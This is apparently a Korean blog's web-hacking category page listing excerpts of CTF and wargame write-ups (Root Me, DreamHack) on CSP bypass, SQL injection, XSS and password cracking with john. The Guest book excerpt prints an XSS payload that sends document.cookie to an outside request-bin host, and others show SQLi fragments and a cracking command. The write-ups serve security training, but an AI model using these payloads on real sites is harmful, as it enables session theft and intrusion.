본문 바로가기
728x90
반응형

웹 해킹26

Root Me - CSP Bypass - Inline code Home 페이지 홈 페이지에는 입력창이 보이고 아래와 같이 문자를 입력하면 페이지에 반영된다. 페이지 내용을 보면 플래그 값이 봇만 확인이 가능하도록 설정이 되어있다고 한다. 또한 CSP가 설정이 되어 XSS는 불가하다고 적혀있다. 만약 방금 전 입력창에다 태그를 사용하면 아래와 같은 에러 페이지가 출력이 된다. 에러 원인은 "Content-Security-Policy"가 설정이 되어 있기 때문이다. connect-src 'none'; font-src 'none'; frame-src 'none'; img-src 'self'; manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'unsafe-inline'; style-src 'self.. 2024. 2. 15.
CTF - PHP 버전별 테스트 사이트(onlinephp.io) https://onlinephp.io/ PHP Sandbox - Execute PHP code online through your browser onlinephp.io 타입 저글링에 취약한 7 이하 버전부터 최신 버전 8까지 온라인으로 바로바로 테스트가 가능하다. 2023. 9. 24.
DreamHack - [wargame.kr] strcmp 풀이 fetch("http://host3.dreamhack.games:20758/", { "headers": { "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-language": "ko-KR,ko;q=0.8", "cache-control": "max-age=0", "content-type": "application/x-www-form-urlencoded", "sec-gpc": "1", "upgrade-insecure-requests": "1" }, "referrer": "http://host3.dreamhack.games:20758/", "refe.. 2023. 9. 11.
DreamHack - error based sql injection 풀이 TMI) extractvalue 함수 extractvalue(XML 데이터, XPath 표현식)을 인자로 받습니다. XML 데이터는 '드림핵 이야기' 같은 데이터가 올 수 있으며 XPath 표현식에는 '/STORE/BOOK/TITLE' 같은 값이 올 수 있습니다. 만약 SELECT extractvalue('드림핵 이야기', '/STORE/BOOK/TITLE')를 실행하면 드림핵 이야기가 출력이 됩니다. extractvalue 함수를 이용한 error based sql injection 특이하게도 MySQL에는 XPATH syntax 오류가 생기면 그 오류의 원인이 되는 XPath 표현식을 그대로 보여줍니다. 예시: (1105, "XPATH syntax error: '에러의 원인'") 이점을 이용하면 er.. 2023. 9. 10.
DreamHack - CSP Bypass Advanced 풀이 자바스크립트 실행이 안된 이유 @app.after_request def add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'" nonce = os.urandom(16).hex() return response request 할 때마다 헤더에 CSP(Content-Security-Policy)가 붙기 때문이다. 더 살펴보자면 script-src가 self이기 때문에 orig.. 2023. 9. 10.
DreamHack - chocoshop 풀이 취약점 r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time()))) 우선 이렇게 사용한 쿠폰을 (쿠폰만료시간 + 현재시간) 뒤에 제거하는 것이 좀 수상했고 if coupon['expiration'] { var coupon = res.coupon; fetch(url+"/coupon/submit", { "headers": { "accept": "*/*", "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7", "authorization": aut.. 2023. 9. 9.
DreamHack - funjs 풀이 개발자 도구에 Sources 탭에서 브레이크 포인트를 거는 것이 핵심 if (flag[_0x374fd6(0x17c)] != 0x24) { 처음에 이 조건문 때문에 자꾸 NOP! 가 출력이 되는데 무슨 내용인지 확인하려면 Console 창에다가 flag[_0x374fd6(0x17c)]와 0x24를 각각 입력 그 결과 if (flag.length != 36)를 뜻하는 것을 확인 플래그 입력 값을 일부로 36글자로 입력해서 다음 라인을 진행하였다. 위와 비슷하게 한줄한줄 진행 과정을 확인하면서 드디어 사용자 입력 값과 실제 flag 값을 비교하는 반복문을 찾아주었는데 난 아래처럼 수정을 하여 진짜 flag 값을 찾을 수 있었다. result = "" for (var i = 0x0; i < flag[_0x374.. 2023. 9. 9.
DreamHack - [wargame.kr] tmitter 풀이 SQL Injection 취약점이 있는 페이지 찾기 우선 로그인 페이지, 회원 가입 페이지에 단따옴표(‘)나 쌍따옴표(")를 다 넣었지만 딱히 문제없이 회원 가입과 로그인이 작동했다. 하지만 닉네임에 단따옴표(’)가 있을 때 tmitter 작성 기능이 잘 안되는 것을 확인하여 작성 기능에 SQLi 취약한 점을 찾았다. 필드 개수 확인하기 tmitter 작성 기능에 사용하는 SQL 쿼리문을 예측을 해보았다. 처음에는 아래와 같은 쿼리를 쓰지 않을까 생각을 했었지만 그럼 공격이 먹히기 쉽지 않았다. insert into tmitter_board(id, msg) values ('guest', 'hello'); 아무튼 메시지', null)#을 쓰고 작성을 하니 제대로 올라가는 것을 확인하고 필드가 몇 가지 더 .. 2023. 9. 9.
DreamHack - [wargame.kr] crack crack crack it 풀이 htpassswd blueh4g:$1$SVXyqAwy$iMW9SbLyUd1v6Fen7mNUe0 보자마자 shadow 파일이 떠올랐으며 [username]:[$password_id]:[$salt]:[$encrypted_password] 일 것이라고 생각했다. 첫 번째 필드 $1은 MD5를 나타낸다. 문제에서 패스워드가 처음에는 G4HeulB로 시작하며 알파벳 소문자와 숫자들로 구성 됐다고 언급했다. 우선 패스워드 크랙 도구인 john을 사용을 했으며 mask 옵션을 사용하여 원하는 문자로 이루어진 임의의 패스워드를 생성해 brute forcing 하였다. john htpasswd -1=[0-9a-z] --mask='G4HeulB?1' --max-length=11 몇 초 지나지 않아 바로 크래킹이 성공되었으.. 2023. 9. 9.
DreamHack - Guest book v0.2 풀이 먼저 페이지 하단에 작성된 태그들을 찾게 되면 문제 푸는 속도가 빨랐을 것이다. config.js의 내용은 아래와 같다. window.CONFIG = { version: "v0.2", main: "/", debug: false, debugMSG: "" } // prevent overwrite Object.freeze(window.CONFIG); 아래의 Object.freeze 메소드으로 인해 window.CONFIG가 overwriting이 안되는 상황이며 if 조건이 false로 나오면서 아래의 "localtion.href = window.CONFIG.main" 라인을 실행하지 못한다. config.js 우회 방법 쪽에 문제점이 하나 있었다. 바로 .js 자원을(config.js) 상대 경로 형태로 읽.. 2023. 9. 7.
DreamHack - Guest book 풀이 방법 1. name과 onfocus 사용 [dreamhack](#' name='foo' onfocus='location.href=`https://bqfyoyg.request.dreamhack.games/cookie=`+document.cookie') 위 텍스트를 URL Encoding 한다. %5Bdreamhack%5D%28%23%27%20name%3D%27foo%27%20onfocus%3D%27location%2Ehref%3D%60https%3A%2F%2Fbqfyoyg%2Erequest%2Edreamhack%2Egames%2Fcookie%3D%60%2Bdocument%2Ecookie%27%29 인코딩 된 값을 content 파라미터 값으로 건네주는데 URL 뒤에 #foo를 포함하는 것이 핵심 http:.. 2023. 9. 7.
DreamHack - CTF에 유용한 도구 모음(드림핵 툴즈) https://tools.dreamhack.games/main dreamhack-tools tools.dreamhack.games 2023. 9. 7.
728x90
반응형